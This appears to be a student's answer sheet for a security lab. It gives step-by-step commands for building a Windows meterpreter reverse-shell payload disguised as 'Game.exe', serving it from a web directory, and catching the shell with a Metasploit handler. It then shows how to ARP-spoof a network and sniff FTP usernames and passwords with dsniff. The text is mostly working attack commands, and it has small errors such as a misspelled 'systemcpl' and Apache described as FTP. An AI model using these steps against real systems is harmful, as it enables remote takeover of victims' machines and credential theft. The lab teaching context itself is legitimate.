**Question 1:**

To create a payload for windows:

1. Open terminal and Type
2. **msfvenom -p windows/meterpreter/reverse\_tcp –platform windows-a x86 –e x86/shikata\_ga\_nai –b “\x0” LHOST=<IP OF KALI> -f exe > /var/www/html/css/Game.exe**

To transfer the payload to the victim's machine:

You have to setup FTP on hacker’s system and upload using:

1. **systemcpl enable apache2**
2. **systemctl start apache2**

To setup exploit:

1. Open terminal and type
2. **msfconsole**
3. **use exploit/multi/handler**
4. **set payload windows/meterpreter/reverse\_tcp**
5. **set lhost 192.168.100.2**
6. **set lport 4444**
7. **exploit**

**Question 2:**

* Create an FTP server
  + Install FTP Server
  + Go to tools->IIS Manager
  + Right click on computer name
  + Give FTP Site Name and physical path c:\inetpub\ftproot
  + Select No SSL
  + Select basic authentication Give permissions to all users for Read and Write
* Access FTP server from windows command prompt
  + ftp <path of FTP>
* Do an mitm and username and password of FTP transaction using wireshark and dsniff
  + Login as root in kali
  + apt install dsniff
  + echo 1 > /proc/sys/net/ipv4/ip\_forward
  + sysctl –w net.ipv4.ip\_forward=1
  + arpspoof –i eth0 –t <IP OF Target> -r <IP of receiver>
  + dsniff –i eth0